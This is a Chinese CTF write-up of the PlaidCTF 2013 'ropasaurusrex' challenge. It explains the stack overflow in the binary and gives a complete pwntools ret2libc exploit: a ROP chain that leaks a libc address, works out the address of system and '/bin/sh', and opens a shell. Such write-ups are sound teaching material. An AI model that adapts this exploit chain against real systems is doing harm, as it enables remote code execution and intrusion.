1.题目描述
文件地址:https://github.com/PHX2600/plaidctf-2013/tree/master/ropasaurusrex
ssize_t __cdecl main()
{
sub_80483F4();
return write(1, "WIN\n", 4u);
}
ssize_t sub_80483F4()
{
char buf; // [esp+10h] [ebp-88h]
return read(0, &buf, 0x100u);
}
[*] '/root/rop/ropasaurusrex/ropasaurusrex'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
题目逻辑很简单,就一个sub_80483F4函数存在栈溢出漏洞,,除了nx保护没有别的保护了,给了libc,因此思路很清晰:
1.通过覆盖返回地址为write@plt,将read@got内容打印出来即可获取libc基址.
2.计算system地址和字符串/bin/sh字符串地址
3.再通过gadget指令跳转到sub_80483F4再次溢出,这次覆盖返回地址为system地址,将/bin/sh地址布置在参数位置即可getshell
2.exp解释
#coding:utf-8
from pwn import *
p = process('ropasaurusrex',env={'LD_PRELOAD':'./libc.so.6'})
libc = ELF('./libc.so.6')
pe = ELF('./ropasaurusrex')
#overflow_func 即为sub_80483F4地址
overflow_func = 0x80483F4
read_plt = pe.plt['read']
read_got = pe.got['read']
write_plt = pe.plt['write']
write_got = pe.got['write']
#pop ;pop;pop;ret;指令地址,用于清理调用函数的参数以及跳转到下一个gadget
pop3ret_addr = 0x080484b6
payload = 'a'*0x88 #填充栈
payload += p32(0xdeadbeef)#覆盖ebp
payload += p32(write_plt) #覆盖返回地址
payload += p32(pop3ret_addr) #write函数调用后的返回地址,执行后跳到overflow_func
#write函数的三个参数,将read_got内容打印出来
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(overflow_func)#再次溢出,等待下次输入
payload = payload.ljust(0x100,'a')
#gdb.attach(p)
p.send(payload)
read_addr = u32(p.recv())#得到write的输出
print 'read_addr: '+hex(read_addr)
#计算system函数地址和/bin/sh地址
system_sym = libc.sym['system']
libc_base = read_addr-libc.sym['read']
system_true_addr = libc_base+system_sym
#该偏移通过ROPgadget --binary ./libc.so.6 --string '/bin/sh'得到
param = libc_base+0x001217f3
print 'system_true_addr: '+hex(system_true_addr)
print 'param: '+hex(param)
payload2 = 'a'*0x88
payload2 += p32(0xdeadbeef)
payload2 += p32(system_true_addr)
payload2 += p32(param)#system的返回地址,实际上用不到,随便填入什么东西
payload2 += p32(param)#system参数
p.sendline(payload2)
p.interactive()